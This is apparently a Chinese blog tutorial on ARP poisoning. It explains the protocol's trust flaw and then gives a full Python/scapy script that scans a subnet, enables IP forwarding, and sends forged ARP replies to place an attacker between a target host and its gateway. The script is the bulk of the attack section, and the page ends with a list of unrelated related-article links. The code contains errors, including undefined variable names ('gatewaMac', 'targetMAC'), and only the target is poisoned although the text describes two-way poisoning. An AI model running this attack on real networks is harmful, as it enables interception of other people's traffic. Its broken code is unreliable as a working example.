Python渗透测试之ARP毒化和协议应用

简介: Python渗透测试之ARP毒化和协议应用

Python渗透测试之ARP毒化和协议应用
1. ARP毒化
ARP毒化是一种比较老的渗透测试技术,通过ARP毒化技术分析并提取内网流量中的敏感信息,往往会有许多意外的收获。

1.1 工作原理
ARP(地址解析协议)是数据链路层的协议, 主要负责根据网络层地址(IP)来获取数据链路层地址(MAC)。以太网协议规定,同一局域网中的一台主机要和另一台主机进行直接通信,必须知道目标主机的MAC地址。而在TCP/IP中,网络只关注目标主机的IP地址,这就导致在以太网中使用IP协议时,数据链路层的以太网协议接收到网络层的IP协议提供的数据中,只包含目的主机IP地址,于是需要ARP来完成IP地址到MAC地址到转换。本地ARP缓存表是有生存周期的,ARP有一个重大缺陷:ARP是建立在网络中各个主机互相信任的基础上的,主机接收到ARP应答报文时不会检测该报文的真实性,而直接将报文中的IP和MAC记入其ARP缓存表。如果ARP缓存表中有相同的地址项,则会对其进行更新。由此,攻击者可以向受害者主机发送伪ARP应答包,毒化受害主机的ARP缓存表。如下图:

开始毒化时,攻击机会给靶机发送ARP应答包说“我就是网关”,同时也会给网关发送ARP应答包说“我就是靶机。由于ARP缺陷,靶机和网关都会认为这应答包是真的。这样靶机和网关之间的通信就变成上图所示,靶机和网关之间的流量都要通过攻击机。

靶机ARP毒化之前,网关IP和MAC地址、攻击机IP和MAC地址,缓存表如下图红框:

image.png

下图是攻击机MAC地址
image.png

靶机ARP毒化之后,网关IP和MAC地址,缓存表如下图红框:

image.png

网关MAC地址变成攻击机的MAC地址了。

1.2 ARP毒化及应用
运行环境:

攻击机:Linux kali 5.10.0

靶 机:Win10

功能模块:

获取网段内存活主机
获取指定IP主机的MAC地址
ARP毒化
示例代码如下:

#_*_coding:utf-8_*_
# 作者      :liuxiaowei
# 创建时间   :4/25/22 9:08 AM
# 文件      :arp获取网络存活主机.py
# IDE      :PyCharm


from scapy.all import *
import sys
import os

# 存放本机的mac地址
lmac = ""
# 存放本机的ip地址
#lip = ""
# 存放存活主机的ip和mac的字典
liveHost = {
   }

# 获取存活主机的IP地址和MAC地址的函数
def GetAllMAC(lip):
    # IP扫描列表
    scanList = lip + '/24'
    try:
        # 通过对每个IP都进行ARP广播,获得存活主机的MAC地址
        ans, unans = srp(Ether(dst="FF:FF:FF:FF:FF:FF")/ARP(pdst=scanList), timeout=2)
    except Exception as e:
        print(e)

    # ARP广播发送完毕后执行
    else:
        # ans包含存活主机返回的响应包和响应内容
        for send, rcv in ans:
            addrList = rcv.sprintf("%Ether.src%|%ARP.psrc%")
            liveHost[addrList.split("|")[1]] = addrList.split("|")[0]

# 根据IP地址获取主机的MAC地址
def GetOneMAC(targetIP):
    # 若该IP地址存在,则返回MAC地址
    if targetIP in liveHost.keys():
        return liveHost[targetIP]
    else:
        return 0

# ARP毒化函数
def poison(targetIP, gatewayIP, ifname):
    # 获取毒化主机的MAC地址
    targetMac = GetOneMAC(targetIP)
    # 获取网关的MAC地址
    gatewayMac = GetOneMAC(gatewayIP)

    if targetMac and gatewaMac:
        while True:
            # 对目标主机毒化
            sendp(Ether(src=lmac, dst=targetMac)/ARP(hwsrc =lmac, hwdst = targetMAC, psrc=gatewayIP, pdst=targetIP, op=2),
                  iface = ifname, verbose = False)
            time.sleep(1)
    else:
        print('目标主机/网关主机IP有误,请检查!')
        sys.exit(0)

if __name__ == "__main__":
    # 程序界面
    print('\t\t\033[0;30;46m === ARP协议功能应用 === \033[0m')

    print('\n\t\t\t[1] 获取网段内存活主机:')
    print('\n\t\t\t[2] 获取指定IP主机的MAC地址')
    print('\n\t\t\t[3] ARP毒化')
    print('\n\t\t\t[4] 退  出 ')
    # while 循环
    Done = True
    while Done:
        choice = int(input('\n\t\t\033[0;30;44m 请输入选项:\t \033[0m'))
        if choice == 1:
            lip = input('\n\t\t\033[0;30;44m 请输入网段地址:\t  \033[0m')
            GetAllMAC(lip)
            print(f'\n开始收集存活的主机.....:\n{liveHost}')
            print(f'存活主机数量为:{len(liveHost)}个')

        elif choice == 2:
            targetip = input('\n\t\t\033[0;30;44m 请输入指定主机地址:\t \033[0m')
            print(f'主机{targetip}的MAC地址: {GetOneMAC(targetip)}')
        elif choice == 3:
            print('\033[0;30;41m 开启路由转发功能.........\033[0m')
            os.system('echo 1 > /proc/sys/net/ipv4/ip_forward')
            targetip = input('\n\t\t\033[0;30;44m 请输入目标主机IP地址:\t \033[0m')
            gatewayip = input('\n\t\t\033[0;30;44m 请输入网关IP地址:\t \033[0m')
            ifname = 'eth0'
            lmac = get_if_hwaddr(ifname)  # 获取本地mac地址

            try:
                print('\033[0;30;41m 开始毒化.........\033[0m')
                print(lmac)
                print(targetip)
                poison(targetip, gatewayip, ifname)
            except KeyboardInterrupt:
                print('\033[0;30;41m === 停止ARP毒化 === \033[0m')
                print('\033[0;30;41m === 停止路由转发功能 === \033[0m')

        elif choice == 4:
            Done = False
            break

运行结果如下:

下图是程序运行界面
image.png

下图是获取网段内存活主机模块运行结果:

image.png

下图是获取指定IP地址主机的MAC地址模块运行结果:

image.png

下图是ARP毒化模块运行结果:

image.png
image.png

攻击机开启路由转发,所以靶机ping www.baidu.com是可以通的,数据包被攻击机捕获。

相关文章
|
4月前
|
测试技术 开发者 Python
Python单元测试入门:3个核心断言方法,帮你快速定位代码bug
本文介绍Python单元测试基础,详解`unittest`框架中的三大核心断言方法:`assertEqual`验证值相等,`assertTrue`和`assertFalse`判断条件真假。通过实例演示其用法,帮助开发者自动化检测代码逻辑,提升测试效率与可靠性。
445 1
|
4月前
|
监控 数据可视化 数据挖掘
Python Rich库使用指南:打造更美观的命令行应用
Rich库是Python的终端美化利器,支持彩色文本、智能表格、动态进度条和语法高亮,大幅提升命令行应用的可视化效果与用户体验。
397 0
|
5月前
|
数据采集 监控 Java
Python 函数式编程的执行效率:实际应用中的权衡
Python 函数式编程的执行效率:实际应用中的权衡
302 102
|
4月前
|
机器学习/深度学习 算法 安全
【强化学习应用(八)】基于Q-learning的无人机物流路径规划研究(Python代码实现)
【强化学习应用(八)】基于Q-learning的无人机物流路径规划研究(Python代码实现)
368 6
|
5月前
|
运维 Linux 开发者
Linux系统中使用Python的ping3库进行网络连通性测试
以上步骤展示了如何利用 Python 的 `ping3` 库来检测网络连通性,并且提供了基本错误处理方法以确保程序能够优雅地处理各种意外情形。通过简洁明快、易读易懂、实操性强等特点使得该方法非常适合开发者或系统管理员快速集成至自动化工具链之内进行日常运维任务之需求满足。
373 18
|
4月前
|
设计模式 缓存 运维
Python装饰器实战场景解析:从原理到应用的10个经典案例
Python装饰器是函数式编程的精华,通过10个实战场景,从日志记录、权限验证到插件系统,全面解析其应用。掌握装饰器,让代码更优雅、灵活,提升开发效率。
357 0
|
5月前
|
数据采集 存储 数据可视化
Python网络爬虫在环境保护中的应用:污染源监测数据抓取与分析
在环保领域,数据是决策基础,但分散在多个平台,获取困难。Python网络爬虫技术灵活高效,可自动化抓取空气质量、水质、污染源等数据,实现多平台整合、实时更新、结构化存储与异常预警。本文详解爬虫实战应用,涵盖技术选型、代码实现、反爬策略与数据分析,助力环保数据高效利用。
365 0
|
5月前
|
存储 程序员 数据处理
Python列表基础操作全解析:从创建到灵活应用
本文深入浅出地讲解了Python列表的各类操作,从创建、增删改查到遍历与性能优化,内容详实且贴近实战,适合初学者快速掌握这一核心数据结构。
610 0
|
网络协议 安全 NoSQL
网络空间安全之一个WH的超前沿全栈技术深入学习之路(8-2):scapy 定制 ARP 协议 、使用 nmap 进行僵尸扫描-实战演练、就怕你学成黑客啦!
scapy 定制 ARP 协议 、使用 nmap 进行僵尸扫描-实战演练等具体操作详解步骤;精典图示举例说明、注意点及常见报错问题所对应的解决方法IKUN和I原们你这要是学不会我直接退出江湖;好吧!!!
网络空间安全之一个WH的超前沿全栈技术深入学习之路(8-2):scapy 定制 ARP 协议 、使用 nmap 进行僵尸扫描-实战演练、就怕你学成黑客啦!
|
网络协议
用户态协议栈04-定时arp-table的实现
用户态协议栈04-定时arp-table的实现

推荐镜像

更多